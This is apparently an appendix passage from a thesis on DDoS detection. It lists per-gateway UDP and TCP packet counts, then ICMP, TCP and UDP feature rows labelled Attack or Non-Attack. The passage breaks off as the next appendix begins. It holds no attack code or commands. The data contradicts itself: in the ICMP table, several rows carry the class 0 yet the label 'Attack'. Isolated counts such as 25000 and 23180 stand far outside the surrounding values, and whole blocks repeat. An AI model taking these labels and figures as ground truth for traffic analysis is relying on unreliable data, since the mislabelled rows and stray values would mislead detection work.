  2322‎packets 1222‎packets 
  2382‎packets 2182‎packets 
  2263‎packets 2163‎packets 
  2415‎packets 2115‎packets 
  3355‎packets 2155‎packets 
  1396‎packets 2116‎packets 
  3539‎packets 529‎packets 
  3494‎packets 2424‎packets 
  3283‎packets 2223‎packets 
  3536‎packets 2526‎packets 
  3374‎packets 3724‎packets 
  3999‎packets 2502‎packets 
  3374‎packets 324‎packets 
  2166‎packets 1126‎packets 
  2543‎packets 1523‎packets 
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  3132‎packets 1122‎packets 
  2333‎packets 1323‎packets 
  2377‎packets 1327‎packets 
UDP BSD‎gateway/location‎one‎ 3233‎packets 2223‎packets 
  3272‎packets 2222‎packets 
  3301‎packets 2201‎packets 
  3548‎packets 2248‎packets 
  3195‎packets 2125‎packets 
  3610‎packets 3100‎packets 
  4000‎packets 3100‎packets 
  2300‎packets 2200‎packets 
  2100‎packets 2300‎packets 
  2142‎packets 2453‎packets 
  3000‎packets 2198‎packets 
  3300‎packets 3000‎packets 
  3400‎packets 1300‎packets 
  2122‎packets 1112‎packets 
  2313‎packets 1113‎packets 
  3233‎packets 1213‎packets 
  2490‎packets 1410‎packets 
  2255‎packets 1215‎packets 
  2330‎packets 1310‎packets 
  2433‎packets 1413‎packets 
  2154‎packets 1114‎packets 
  2196‎packets 2116‎packets 
  2414‎packets 2411‎packets 
  2244‎packets 2214‎packets 
  2539‎packets 2519‎packets 
  2543‎packets 2513‎packets 
  3481‎packets 2411‎packets 
  2432‎packets 2412‎packets 
  3116‎packets 2111‎packets 
  2283‎packets 2203‎packets 
  2478‎packets 2418‎packets 
  2279‎packets 2219‎packets 
  2119‎packets 1111‎packets 
  3503‎packets 1103‎packets 
  3540‎packets 1140‎packets 
  3330‎packets 1130‎packets 
  3517‎packets 1217‎packets 
  2465‎packets 1265‎packets 
  2373‎packets 1273‎packets 
  1314‎packets 1214‎packets 
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  1550‎packets 1250‎packets 
  1442‎packets 1422‎packets 
  2285‎packets 2125‎packets 
  2469‎packets 1429‎packets 
  2540‎packets 1520‎packets 
  2279‎packets 1229‎packets 
  2381‎packets 1321‎packets 
  2376‎packets 1326‎packets 
  2286‎packets 2286‎packets 
  2342‎packets 2322‎packets 
  2273‎packets 2223‎packets 
  2291‎packets 2221‎packets 
  2144‎packets 1224‎packets 
  2344‎packets 2324‎packets 
  3342‎packets 2322‎packets 
  3524‎packets 2224‎packets 
  3151‎packets 2121‎packets 
  3440‎packets 2420‎packets 
  3392‎packets 2322‎packets 
  3530‎packets 2510‎packets 
  3466‎packets 2416‎packets 
  3149‎packets 2119‎packets 
  3326‎packets 2316‎packets 
  3350‎packets 2310‎packets 
UDP Debian‎gateway/location‎two‎ 2400‎packets 1300‎packets 
  2122‎packets 1112‎packets 
  2313‎packets 1113‎packets 
  2233‎packets 1213‎packets 
  2490‎packets 1410‎packets 
  2255‎packets 1215‎packets 
  2330‎packets 1310‎packets 
  2433‎packets 1413‎packets 
  2154‎packets 1114‎packets 
  2196‎packets 1116‎packets 
  2414‎packets 1411‎packets 
  2244‎packets 1214‎packets 
  2539‎packets 2519‎packets 
  2543‎packets 2513‎packets 
  2481‎packets 2411‎packets 
  2432‎packets 2412‎packets 
  2116‎packets 2111‎packets 
  2283‎packets 2203‎packets 
  2478‎packets 2418‎packets 
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  2279‎packets 2219‎packets 
  2119‎packets 2111‎packets 
  2503‎packets 2103‎packets 
  2540‎packets 2140‎packets 
  2330‎packets 2130‎packets 
  2517‎packets 2217‎packets 
  2465‎packets 2265‎packets 
  2373‎packets 2273‎packets 
  2314‎packets 2214‎packets 
  2550‎packets 2250‎packets 
  2442‎packets 2422‎packets 
  2285‎packets 1225‎packets 
  2469‎packets 1429‎packets 
  2540‎packets 1520‎packets 
  2279‎packets 1229‎packets 
  2381‎packets 1321‎packets 
  3376‎packets 1326‎packets 
  3286‎packets 1286‎packets 
  3342‎packets 1322‎packets 
  3273‎packets 1223‎packets 
  3291‎packets 1221‎packets 
  3144‎packets 1124‎packets 
  3344‎packets 1324‎packets 




  3524‎packets 1224‎packets 
  3151‎packets 1121‎packets 
  3440‎packets 1420‎packets 
  3392‎packets 1322‎packets 
  3530‎packets 1510‎packets 
  3466‎packets 1416‎packets 
  3149‎packets 1119‎packets 
  3326‎packets 1316‎packets 




  1200‎packets 1100‎packets 
  2000‎packets 1500‎packets 
  2500‎packets 1900‎packets 
  3000‎packets 2000‎packets 
  3200‎packets 2100‎packets 
  3600‎packets 2500‎packets 
  4000‎packets 2700‎packets 
  3600‎packets 2500‎packets 
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  3500‎packets 2300‎packets 
  3600‎packets 2500‎packets 
  3600‎packets 2500‎packets 
  1200‎packets 900‎packets 
  1500‎packets 1200‎packets 
  1900‎packets 1300‎packets 
  2000‎packets 1600‎packets 
  2800‎packets 2000‎packets 
  3000‎packets 2300‎packets 
  3500‎packets 2400‎packets 
  3600‎packets 2500‎packets 
  3310‎packets 2500‎packets 
  3100‎packets 2500‎packets 
  3200‎packets 25000‎packets 
  3400‎packets 2400‎packets 
  3292‎packets 2192‎packets 
  3311‎packets 2111‎packets 
  3237‎packets 2217‎packets 
  3207‎packets 2107‎packets 
  3422‎packets 2412‎packets 
  3405‎packets 2105‎packets 
  3335‎packets 2315‎packets 
  3446‎packets 2416‎packets 
  3251‎packets 2211‎packets 
  3457‎packets 2417‎packets 
  3338‎packets 2318‎packets 
  335‎packets 2315‎packets 
  3999‎packets 2328‎packets 
  3532‎packets 2522‎packets 
  3371‎packets 2321‎packets 
  2334‎packets 2324‎packets 
  2483‎packets 2423‎packets 
  2320‎packets 2110‎packets 
  2300‎packets 2100‎packets 
  2433‎packets 2413‎packets 
  2322‎packets 2312‎packets 
UDP BSD‎gateway/location‎two‎ 1400‎packets 1300‎packets 
  1122‎packets 1112‎packets 
  1313‎packets 1113‎packets 
  3288‎packets 2113‎packets 
  3290‎packets 1410‎packets 
  325‎packets 1215‎packets 
  3340‎packets 1310‎packets 
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  3443‎packets 1413‎packets 
  3144‎packets 1114‎packets 
  2146‎packets 816‎packets 
  2444‎packets 911‎packets 
  2244‎packets 1214‎packets 
  2549‎packets 1519‎packets 
  1543‎packets 1513‎packets 
  1491‎packets 411‎packets 
  1492‎packets 412‎packets 
  1196‎packets 911‎packets 
  2193‎packets 1203‎packets 
  1498‎packets 918‎packets 
  1299‎packets 619‎packets 
  2199‎packets 1111‎packets 
  2593‎packets 1103‎packets 
  2590‎packets 1140‎packets 
  2930‎packets 1130‎packets 
  2917‎packets 1217‎packets 
  2965‎packets 1265‎packets 
  2973‎packets 1273‎packets 
  2914‎packets 2114‎packets 
  2950‎packets 2150‎packets 
  2942‎packets 1422‎packets  
  3295‎packets 925‎packets 
  2499‎packets 1429‎packets 
  3590‎packets 1520‎packets 
  3299‎packets 1229‎packets 
  3391‎packets 2321‎packets 
  1396‎packets 1326‎packets 
  1296‎packets 1286‎packets 
  1392‎packets 2322‎packets 
  2393‎packets 3223‎packets 
  3991‎packets 2221‎packets 
  3944‎packets 2124‎packets 
  3944‎packets 2324‎packets 
  3942‎packets 2322‎packets 
  2924‎packets 1224‎packets 
  2191‎packets 1121‎packets 
  2490‎packets 1420‎packets 
  3992‎packets 1322‎packets 
  3930‎packets 1510‎packets 
  3496‎packets 1416‎packets 
  3199‎packets 1119‎packets 
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  3396‎packets 1316‎packets 
  2292‎packets 1272‎packets 
  2391‎packets 1301‎packets 
  3598‎packets 3148‎packets 
  1195‎packets 1095‎packets 
  1595‎packets 1125‎packets 
  1196‎packets 1036‎packets 
  1593‎packets 1043‎packets 
  3597‎packets 3157‎packets 
  2593‎packets 2183‎packets 
UDP Debian‎gateway/location‎two‎ 2195‎packets 270‎packets 
  2172‎packets 2118‎packets 
  2370‎packets 2110‎packets 
  2270‎packets 2111‎packets 
  3260‎packets 2211‎packets 
  3270‎packets 2215‎packets 
  3341‎packets 2215‎packets 
  3341‎packets 2115‎packets 
  3390‎packets 3129‎packets 
  3400‎packets 3220‎packets 
  3500‎packets 3230‎packets 
  3320‎packets 3230‎packets 
  3546‎packets 3536‎packets 
  3447‎packets 2137‎packets 
  3405‎packets 2133‎packets 
  3999‎packets 2130‎packets 
  3496‎packets 2433‎packets 
  3349‎packets 2323‎packets 
  3492‎packets 2423‎packets 
  3390‎packets 2323‎packets 
  3600‎packets 2213‎packets 
  3490‎packets 2223‎packets 
  3550‎packets 2503‎packets 
  3458‎packets 2253‎packets 
  3483‎packets 2233‎packets 
  3443‎packets 2433‎packets 
  2457‎packets 3333‎packets 
  2416‎packets 1333‎packets 
  2442‎packets 2421‎packets 
  2348‎packets 2211‎packets 
  2441‎packets 2221‎packets 
  2347‎packets 2321‎packets 
  2441‎packets 222‎packets 
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  3982‎packets 2272‎packets 
  3494‎packets 2474‎packets 
  3292‎packets 2271‎packets 
  3197‎packets 2191‎packets 
  3999‎packets 2491‎packets 
  3977‎packets 2491‎packets 
  1000‎packets 2509‎packets 
  3866‎packets 2469‎packets 
  3831‎packets 2491‎packets 
  3181‎packets 2191‎packets 
  3391‎packets 2982‎packets 
  3843‎packets 2923‎packets 
  3875‎packets 1925‎packets 
  3481‎packets 1921‎packets 
  3385 packets 1925 packets 
  3586‎packets 1926‎packets 
  3488‎packets 1498‎packets 
  3846‎packets 2426‎packets 
  3814‎packets 2204‎packets 
  4000‎packets 2339‎packets 
  3470‎packets 2230‎packets 
  3931‎packets 1921‎packets 
  3930‎packets 1920‎packets 
  3393‎packets 1923‎packets 
  3996 packets 9526 packets 
  3962‎packets 2922‎packets 
  3940‎packets 2910‎packets 
  3900‎packets 2920‎packets 
  3090‎packets 1999‎packets 
  3190‎packets 2209‎packets 
  2200‎packets 3009‎packets 
  2500‎packets 2199‎packets 
  2900‎packets 3194‎packets 
  2599‎packets 3233‎packets 
  2688‎packets 3233‎packets 
TCP BSD‎gateway/location‎one‎ 3390‎packets 1160‎packets 
  3310‎packets 1101‎packets 
  3950‎packets 3101‎packets 
  3910‎packets 3121‎packets 
  3900‎packets 2111‎packets 
  3990‎packets 2121‎packets 
  3920‎packets 1110‎packets 
  3990‎packets 1110‎packets 
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  3300‎packets 1110‎packets 
  4300‎packets 3919‎packets 
  3390‎packets 1215‎packets 
  3395‎packets 1210‎packets 
  3997‎packets 1217‎packets 
  2999‎packets 1519‎packets 
  1999‎packets 1129‎packets 
  1994‎packets 1179‎packets 
  1999‎packets 1189‎packets 
  1994‎packets 1110‎packets 
  1998‎packets 1410‎packets 
  3690‎packets 1510‎packets 
  3396‎packets 3316‎packets 
  3396‎packets 3316‎packets 
  3139‎packets 3129‎packets 
  4030‎packets 3120‎packets 
  2432‎packets 3122‎packets 
  2630‎packets 1160‎packets 
  2353‎packets 1820‎packets 
  2394‎packets 1183‎packets 
  3999‎packets 3183‎packets 
  3990‎packets 3183‎packets 
  2995‎packets 2019‎packets 
  2993‎packets 2219‎packets 
  3998‎packets 3819‎packets 
  3595‎packets 2815‎packets 
  3999‎packets 2819‎packets 
  3693‎packets 2139‎packets 
  4600‎packets 2129‎packets 
  3694‎packets 3119‎packets 
  3685‎packets 3119‎packets 
  3666‎packets 2913‎packets 
  3655‎packets‎ 2935‎packets‎ 
  3909‎packets 2931‎packets 
  3999‎packets 2934‎packets 
  1999‎packets 2930‎packets 
  1939‎packets 2939‎packets 
  3499‎packets 2431‎packets 
  3196‎packets 2131‎packets 
  3499‎packets 2939‎packets 
TCP Debian‎gateway/location‎two‎ 2395‎packets 3330‎packets 
  1312‎packets 2238‎packets 
  2230‎packets 2130‎packets 
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  2230‎packets 2130‎packets 
  2280‎packets 2135‎packets 
  2280‎packets 2135‎packets 
  2841‎packets 1135‎packets 
  2841‎packets 1315‎packets 
  2890‎packets 1399‎packets 
  2800‎packets 1320‎packets 
  2808‎packets 23180‎packets 
  2328‎packets 2390‎packets 
  2569‎packets 1236‎packets 
  2169‎packets 1237‎packets 
  2109‎packets 1203‎packets 




  2990‎packets 1230‎packets 
  2948‎packets 1228‎packets 
  2982‎packets 1222‎packets 
  2940‎packets 1220‎packets 
  2921‎packets 1231‎packets 
  3900‎packets 1220‎packets 
  388‎packets 1520‎packets 
  3188‎packets 1228‎packets 
  3389‎packets 1223‎packets 
  3943‎packets 1223‎packets 
  3957‎packets 1327‎packets 
  3916‎packets 1126‎packets 
  3952‎packets 1422‎packets 
  3918‎packets 1318‎packets 
  3981‎packets 1381‎packets 
  3997‎packets 1327‎packets 
  3941‎packets 1231‎packets 
  3499‎packets 1436‎packets 
  3756‎packets 1436‎packets 
  3785‎packets 2435‎packets 
  3670‎packets 2350‎packets 
  3292‎packets 2322‎packets 
  3934‎packets 2324‎packets 
  3902‎packets 2301‎packets 
  3199‎packets 2131‎packets 
  3902‎packets 2431‎packets 
  3477‎packets 2171‎packets 
  4000‎packets 2101‎packets 
  3566‎packets 2411‎packets 
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  3531‎packets 2411‎packets 
  3571‎packets 2421‎packets 
  3581‎packets 2382‎packets 
  3555‎packets 2223‎packets 
  3575‎packets 1225‎packets 
  3541‎packets 1221‎packets 
  3835 packets 2325 packets 
  3846‎packets 2526‎packets 
  3848‎packets 2428‎packets 
  3886‎packets 2426‎packets 
  3894‎packets 2204‎packets 
  4000‎packets 1339‎packets 
  3260‎packets 1330‎packets 
  3351‎packets 2221‎packets 
  3550‎packets 1220‎packets 
  3533‎packets 1373‎packets 
  3886 packets 1576 packets 
  3862‎packets 2472‎packets 
  3840‎packets 2570‎packets 
  3588‎packets 2270‎packets 




  1330‎packets 1310‎packets 
  1630‎packets 1320‎packets 
  1939‎packets 1330‎packets 
  2037‎packets 1340‎packets 
  2979‎packets 1855‎packets 
  3170‎packets 2640‎packets 
  3270‎packets 2860‎packets 
  3070‎packets 2160‎packets 
  2970‎packets 2480‎packets 
  4000‎packets 2805‎packets 
  4000‎packets‎ 2841‎packets 
  3570‎packets 1584‎packets 
  3588‎packets 1238‎packets 
  3883‎packets 1833‎packets 
  3843‎packets 2243‎packets 
  3857‎packets 1227‎packets 
  3816‎packets 2626‎packets 
  3952‎packets 2622‎packets 
  3798‎packets 2288‎packets 
  3991‎packets 1381‎packets 
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  3697‎packets 2387‎packets 
  3541‎packets 2281‎packets 
  3596‎packets 2496‎packets 
  3456‎packets 1596‎packets 
  3955‎packets 2575‎packets 
  3950‎packets 2550‎packets 
  3582‎packets 2252‎packets 
  3594‎packets 3474‎packets 
  3232‎packets 2271‎packets 
  3137‎packets 2391‎packets 
  3969‎packets 2191‎packets 
  3677‎packets 2191‎packets 
  1060‎packets 2501‎packets 
  3566‎packets 2461‎packets 
  3531‎packets 2419‎packets 
  3151‎packets 2111‎packets 
  3491‎packets 2912‎packets 
  3443‎packets 2913‎packets 
  3845‎packets 1915‎packets 
  3441‎packets 1911‎packets 
  3485 packets 1915 packets 
  3686‎packets 1126‎packets 
  3688‎packets 1198‎packets 
  3866‎packets 2126‎packets 
  3884‎packets 2104‎packets 
  4080‎packets 2319‎packets 
  3480‎packets 2210‎packets 
  3981‎packets 1121‎packets 
  3980‎packets 1124‎packets 
  3893‎packets 1125‎packets 
  3896 packets 1111 packets 
  3982‎packets 2221‎packets 
  3980‎packets 2210‎packets 
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Appendix 5-3  
The following examples are genuine traffic, ICMP, TCP and UDP DDoS datasets. For more 
examples refer to the provided CD. 
 
Protocol No of SRC-IP No of ICMP-ID No ICMP-SEQ Attack/Non-Attack 
ICMP 7231 7231 7100 1 (Attack) 
 6089 6040 6021 1 (Attack) 
 3288 3288 3288 0 (Non-Attack) 
 1631 1631 1631 0 (Non-Attack) 
 6535 6555 6255 1 (Attack) 
 6189 6889 6389 1 (Attack) 
 5443 5443 5443 1 (Attack) 
 5442 5443 5443 1 (Attack) 
 2194 2194 2194 0 (Non-Attack) 
 2230 2230 2230 0 (Non-Attack) 
 2143 2143 2143 0 (Non-Attack) 
 2365 2365 2365 0 (Non-Attack) 
 6089 6089 6089 0 (Non-Attack) 
 7211 6231 7231 1 (Attack) 
 200 200 200 0 (Non-Attack) 
 7231 7231 7231 1 (Attack) 
 4318 4318 4318 0 (Attack) 
 4317 4317 4317 1 (Attack) 
 212 212 212 0 (Attack) 
 1909 1909 1909 0 (Attack) 
 2744 2744 2744 0 (Attack) 
 233 233 233 0 (Attack) 
 2363 2363 2363 0 (Attack) 
 2743 2743 2743 0 (Attack) 
 3285 3285 3285 0 (Attack) 
 3106 3106 3106 0 (Attack) 
 3830 3830 3830 0 (Attack) 
 121 121 121 0 (Attack) 
 204 204 204 0 (Attack) 
 926 926 926 0 (Attack) 
 6011 6311 6011 1 (Attack) 
 6031 6031 6031 1 (Attack) 
 1280 1280 1280 0 (Non-Attack) 
 6835 6837 6437 1 (Attack) 
 6665 6665 6662 1 (Attack) 
 6140 6620 6120 1 (Attack) 
 5076 5076 5076 1 (Attack) 
 4956 4976 4476 1 (Attack) 
 4812 4812 4412 1 (Attack) 
 5333 5383 5383 1 (Attack) 
 5458 5458 5658 1 (Attack) 
 2565 2563 2763 0 (Non-Attack) 
 2826 2666 2966 0 (Non-Attack) 
 6301 6301 6001 1 (Attack) 
 1984 1484 1984 0 (Non-Attack) 
 1322 1422 1422 0 (Non-Attack) 
 5246 5246 5446 1 (Attack) 
 5274 5275 5275 1 (Attack) 
 6564 6154 6164 1 (Attack) 
 5509 5509 5609 1 (Attack) 
 5663 5523 5223 1 (Attack) 
 6112 6112 6112 1 (Attack) 
 5782 5862 5762 1 (Attack) 
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 6460 6460 6460 1 (Attack) 
 6500 6560 6560 1 (Attack) 
 5320 5360 5360 1 (Attack) 
 5066 5066 5076 1 (Attack) 
 1425 1425 1425 0 (Non-Attack) 
 2046 2046 2046 0 (Non-Attack) 
 993 993 993 0 (Non-Attack) 
 1685 1685 1685 0 (Non-Attack) 
 1982 1982 1982 0 (Non-Attack) 
 890 890 890 0 (Non-Attack) 
 827 827 827 0 (Non-Attack) 
 2280 2280 2280 0 (Non-Attack) 
 717 717 717 0 (Non-Attack) 
 2231 2231 2231 0 (Non-Attack) 
 2085 2085 2085 0 (Non-Attack) 
 1569 1569 1569 0 (Non-Attack) 
 2249 2249 2249 0 (Non-Attack) 
 1313 1313 1313 0 (Non-Attack) 
 1730 1730 1730 0 (Non-Attack) 
 1321 1321 1321 0 (Non-Attack) 
 945 945 945 0 (Non-Attack) 
 1812 1812 1812 0 (Non-Attack) 
 1227 1227 1227 0 (Non-Attack) 
 1089 1089 1089 0 (Non-Attack) 
 4881 4881 4881 1 (Attack) 
 5720 5720 5720 1 (Attack) 
 6003 6003 6003 1 (Attack) 
 5399 5399 5399 1 (Attack) 
 5779 5679 5779 1 (Attack) 
 5380 5380 5380 1 (Attack) 
 5714 5614 5714 1 (Attack) 
 4745 4745 4745 1 (Attack) 
 6385 6385 6385 1 (Attack) 
 6318 6418 6718 1 (Attack) 
 5344 5494 5494 1 (Attack) 
 6244 6244 6244 1 (Attack) 
 6483 6483 6483 1 (Attack) 
 6340 6340 6540 1 (Attack) 
 6157 6157 6157 1 (Attack) 
 4432 4432 4732 1 (Attack) 
 5905 5405 5405 1 (Attack) 
 5324 5424 5124 1 (Attack) 
 6401 6401 6401 1 (Attack) 
 3200 3200 3200 0 (Non-Attack) 
 1811 1811 1811 0 (Non-Attack) 
 2389 2389 2389 0 (Non-Attack) 
 2790 2790 2790 0 (Non-Attack) 
 2982 2982 2982 0 (Non-Attack) 
 2148 2148 2148 0 (Non-Attack) 
 1614 1614 1614 0 (Non-Attack) 
 3284 3284 3284 0 (Non-Attack) 
 6578 6078 6078 1 (Attack) 
 5457 5557 5457 1 (Attack) 
 1494 1494 1494 0 (Non-Attack) 
 3036 3036 3036 0 (Non-Attack) 
 2620 2620 2620 0 (Non-Attack) 
 1727 1727 1727 0 (Non-Attack) 
 2958 2958 2958 0 (Non-Attack) 
 6052 6052 6662 1 (Attack) 
 6565 6565 6565 1 (Attack) 
 6996 6996 6696 1 (Attack) 
 2189 2189 2189 0 (Non-Attack) 
 2549 2549 2549 0 (Non-Attack) 
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 1962 1962 1962 0 (Non-Attack) 
 3185 3185 3185 0 (Non-Attack) 
 1856 1856 1856 0 (Non-Attack) 
 3296 3296 3296 0 (Non-Attack) 
 2931 2931 2931 0 (Non-Attack) 
 2813 2813 2813 0 (Non-Attack) 
 2877 2877 2877 0 (Non-Attack) 
 2579 2579 2579 0 (Non-Attack) 
 3375 3375 3375 0 (Non-Attack) 
 1966 1966 1966 0 (Non-Attack) 
 2955 2955 2955 0 (Non-Attack) 
 2657 2657 2657 0 (Non-Attack) 
 2223 2223 2223 0 (Non-Attack) 
 2343 2343 2343 0 (Non-Attack) 
 2763 2763 2763 0 (Non-Attack) 
 2089 2089 2089 0 (Non-Attack) 
 1518 1518 1518 0 (Non-Attack) 
 2346 2346 2346 0 (Non-Attack) 
 3092 3092 3092 0 (Non-Attack) 
 1909 1909 1909 0 (Non-Attack) 
 3020 3020 3020 0 (Non-Attack) 
 5913 5913 5913 1 (Attack) 
 5004 5004 5004 1 (Attack) 
 5135 5135 5135 1 (Attack) 
 5187 5187 5187 1 (Attack) 
 6336 6336 6336 1 (Attack) 
 5983 5983 5983 1 (Attack) 
 6078 6078 6078 1 (Attack) 
 5499 5499 5499 1 (Attack) 
 5404 5404 5404 1 (Attack) 
 5945 5945 5945 1 (Attack) 
 6211 6211 6211 1 (Attack) 
 5749 5749 5749 1 (Attack) 
 5240 5240 5240 1 (Attack) 
 5633 5633 5633 1 (Attack) 
 4577 4577 4577 1 (Attack) 
 4695 4695 4695 1 (Attack) 
 4611 4611 4611 1 (Attack) 
 4571 4571 4571 1 (Attack) 
 4632 4632 4632 1 (Attack) 
 4490 4490 4490 1 (Attack) 

















TCP 3555 3555 3423 3555 3339 1 (Attack) 
 2998 2708 2708 2998 2998 1 (Attack) 
 1723 1723 1723 1723 1723 0 (Non-Attack) 
 4255 4255 4255 4255 3939 1 (Attack) 
 4498 4498 4498 4498 2998 1 (Attack) 
 555 555 555 555 555 0 (Non-Attack) 
 5871 5871 5871 5871 5871 1 (Attack) 
 5589 5389 5944 5922 5989 1 (Attack) 
 4746 4723 4746 4755 4746 1 (Attack) 
 5427 5427 5427 5455 5427 1 (Attack) 
 4954 4923 4933 4434 4354 1 (Attack) 
 5195 5195 5195 5195 5195 1 (Attack) 
 5166 5166 5557 5587 5187 1 (Attack) 
 6002 6499 6499 6499 6499 1 (Attack) 
 1382 1382 1382 1382 1382 0 (Non-Attack) 
 2650 2650 2650 2650 2650 0 (Non-Attack) 
 5305 5305 5305 5305 5305 1 (Attack) 
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 5583 5873 5873 5873 5873 1 (Attack) 
 5776 5778 5796 5796 5896 1 (Attack) 
 5661 6761 5761 6661 5761 1 (Attack) 
 6110 6710 6170 6710 6710 1 (Attack) 
 5146 5146 5146 5146 5176 1 (Attack) 
 4977 4770 4930 4970 4970 1 (Attack) 
 5833 5833 5833 5843 5843 1 (Attack) 
 5365 5377 5323 5377 5377 1 (Attack) 
 5433 5413 5466 5422 5413 1 (Attack) 
 1536 1536 1536 1536 1536 0 (Non-Attack) 
 2820 2820 2820 2820 2820 0 (Non-Attack) 
 2221 2221 2221 2221 2221 0 (Non-Attack) 
 1995 1995 1995 1995 1995 0 (Non-Attack) 
 1950 1950 1950 1950 1950 0 (Non-Attack) 
 2641 2641 2641 2641 2641 0 (Non-Attack) 
 1776 1776 1776 1776 1776 0 (Non-Attack) 
 1682 1682 1682 1682 1682 0 (Non-Attack) 
 1540 1540 1540 1540 1540 0 (Non-Attack) 
 2039 2039 2039 2039 2039 0 (Non-Attack) 
 1628 1628 1628 1628 1628 0 (Non-Attack) 
 3378 3378 3378 3378 3378 0 (Non-Attack) 
 2963 2963 2963 2963 2963 0 (Non-Attack) 
 1578 1578 1578 1578 1578 0 (Non-Attack) 
 2676 2676 2676 2676 2676 0 (Non-Attack) 
 1884 1884 1884 1884 1884 0 (Non-Attack) 
 3059 3059 3059 3059 3059 0 (Non-Attack) 
 1735 1735 1735 1735 1735 0 (Non-Attack) 
 1763 1763 1763 1763 1763 0 (Non-Attack) 
 3251 3251 3251 3251 3251 0 (Non-Attack) 
 1536 1536 1536 1536 1536 0 (Non-Attack) 
 2820 2820 2820 2820 2820 0 (Non-Attack) 
 2221 2221 2221 2221 2221 0 (Non-Attack) 
 1995 1995 1995 1995 1995 0 (Non-Attack) 
 1950 1950 1950 1950 1950 0 (Non-Attack) 
 2641 2641 2641 2641 2641 0 (Non-Attack) 
 1776 1776 1776 1776 1776 0 (Non-Attack) 
 4251 5591 3666 5754 3704 1 (Attack) 
 6385 5676 5654 3834 5315 1 (Attack) 
 5255 5803 5064 3725 4754 1 (Attack) 
 4641 4724 6138 6066 4220 1 (Attack) 
 4100 4611 4042 4328 3617 1 (Attack) 
 5422 5340 5854 3722 5173 1 (Attack) 
 4409 5028 4552 5918 6045 1 (Attack) 
 5077 6225 4313 6093 3914 1 (Attack) 
 4363 6259 5362 4705 4028 1 (Attack) 
 4335 5055 3513 4427 4383 1 (Attack) 
 3644 6332 5689 6286 4329 1 (Attack) 
 4015 4846 3769 4652 3807 1 (Attack) 
 6016 4688 4398 6085 3798 1 (Attack) 
 4878 5791 4518 6069 4626 1 (Attack) 
 4810 3914 5977 4859 6179 1 (Attack) 
 3702 5035 6445 6034 6019 1 (Attack) 
 6404 3638 6041 3979 6026 1 (Attack) 
 5578 5961 5940 5157 4818 1 (Attack) 
 5739 3924 5003 3740 4963 1 (Attack) 
 4013 4886 6314 4447 4359 1 (Attack) 
 4251 5591 3666 5754 3704 1 (Attack) 
 6385 5676 5654 3834 5315 1 (Attack) 
 5255 5803 5064 3725 4754 1 (Attack) 
 4641 4724 6138 6066 4220 1 (Attack) 
 4100 4611 4042 4328 3617 1 (Attack) 
 310 310 310 310 310 0 (Non-Attack) 
 260 260 260 260 260 0 (Non-Attack) 
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 1888 1888 1888 1888 1888 0 (Non-Attack) 
 635 635 635 635 635 0 (Non-Attack) 
 1581 1581 1581 1581 1581 0 (Non-Attack) 












UDP 100   100 100 100 0 (Non-Attack) 
 100 100 100 100 0 (Non-Attack) 
 150 150 150 150 0 (Non-Attack) 
 3400 329 3240 3229     1 (Attack) 
 3512 3212 3501 1101     1 (Attack) 
 3401 3401 3401 3201     1 (Attack) 
 99 99 99 99     1 (Attack) 
 292 292 292 292 0 (Non-Attack) 
 162 162 162 162 0 (Non-Attack) 
 2103 2103 2103 2103 0 (Non-Attack) 
 404 404 404 404 0 (Non-Attack) 
 501 501 501 501 0 (Non-Attack) 
 2370 2370 2370 2370 0 (Non-Attack) 
 1607 1607 1607 1607 0 (Non-Attack) 
 3073 3073 3073 3073 0 (Non-Attack) 
 123 123 123 123 0 (Non-Attack) 
 1026 1026 1026 1026 0 (Non-Attack) 
 292 292 292 292 0 (Non-Attack) 
 162 162 162 162 0 (Non-Attack) 
 2103 2103 2103 2103 0 (Non-Attack) 
 5180 5180 5180 5180 1 (Attack) 
 6450 6450 6450 6450 1 (Attack) 
 5142 5142 5142 5142 1 (Attack) 
 6002 6002 6002 6002 1 (Attack) 
 5008 5008 5008 5008 1 (Attack) 
 5742 5742 5742 5742 1 (Attack) 
 5212 5212 5212 5212 1 (Attack) 
 6183 6183 6183 6183 1 (Attack) 
 5121 5121 5121 5121 1 (Attack) 
 5879 5879 5879 5879 1 (Attack) 
 5180 5180 5180 5180 1 (Attack) 
 6450 6450 6450 6450 1 (Attack) 
 5142 5142 5142 5142 1 (Attack) 
 6002 6002 6002 6002 1 (Attack) 
 5008 5008 5008 5008 1 (Attack) 
 5742 5742 5742 5742 1 (Attack) 
 1208 1208 1208 1208 0 (Non-Attack) 
 1862 1862 1862 1862 0 (Non-Attack) 
 2031 2031 2031 2031 0 (Non-Attack) 
 2285 2285 2285 2285 0 (Non-Attack) 
 1543 1543 1543 1543 0 (Non-Attack) 
 2152 2152 2152 2152 0 (Non-Attack) 
 1462 1462 1462 1462 0 (Non-Attack) 
 2447 2447 2447 2447 0 (Non-Attack) 
 1609 1609 1609 1609 0 (Non-Attack) 
 2211 2211 2211 2211 0 (Non-Attack) 
 1208 1208 1208 1208 0 (Non-Attack) 
 1862 1862 1862 1862 0 (Non-Attack) 
 2031 2031 2031 2031 0 (Non-Attack) 
 2285 2285 2285 2285 0 (Non-Attack) 
 1543 1543 1543 1543 0 (Non-Attack) 
 5633 6124 5980 4485 1 (Attack) 
 6063 5505 4851 5786 1 (Attack) 
 5912 4513 4807 6092 1 (Attack) 
 6074 5475 4616 4065 1 (Attack) 
 4711 5373 6032 4492 1 (Attack) 
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 4496 4581 4249 4244 1 (Attack) 
 5497 4898 4329 5522 1 (Attack) 
 5015 5811 5753 6073 1 (Attack) 
 5047 5981 4549 4928 1 (Attack) 
 4107 4512 4223 5976 1 (Attack) 
 5633 6124 5980 4485 1 (Attack) 
 6063 5505 4851 5786 1 (Attack) 
 5912 4513 4807 6092 1 (Attack) 
 6074 5475 4616 4065 1 (Attack) 
 4711 5373 6032 4492 1 (Attack) 
 4496 4581 4249 4244 1 (Attack) 
 2049 2049 2049 2049 0 (Non-Attack) 
 2112 2112 2112 2112 0 (Non-Attack) 
 1113 1113 1113 1113 0 (Non-Attack) 
 2837 2837 2837 2837 0 (Non-Attack) 
 3488 3488 3488 3488 0 (Non-Attack) 
 2604 2604 2604 2604 0 (Non-Attack) 
 3400 3400 3400 3400 0 (Non-Attack) 
 2872 2872 2872 2872 0 (Non-Attack) 
 2878 2878 2878 2878 0 (Non-Attack) 
 2441 2441 2441 2441 0 (Non-Attack) 
 2049 2049 2049 2049 0 (Non-Attack) 
 2112 2112 2112 2112 0 (Non-Attack) 
 1113 1113 1113 1113 0 (Non-Attack) 
 2837 2837 2837 2837 0 (Non-Attack) 
 3488 3488 3488 3488 0 (Non-Attack) 
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Appendix 5-4 
The followings are dataset examples of JNNS acceptable format. In this appendix the 
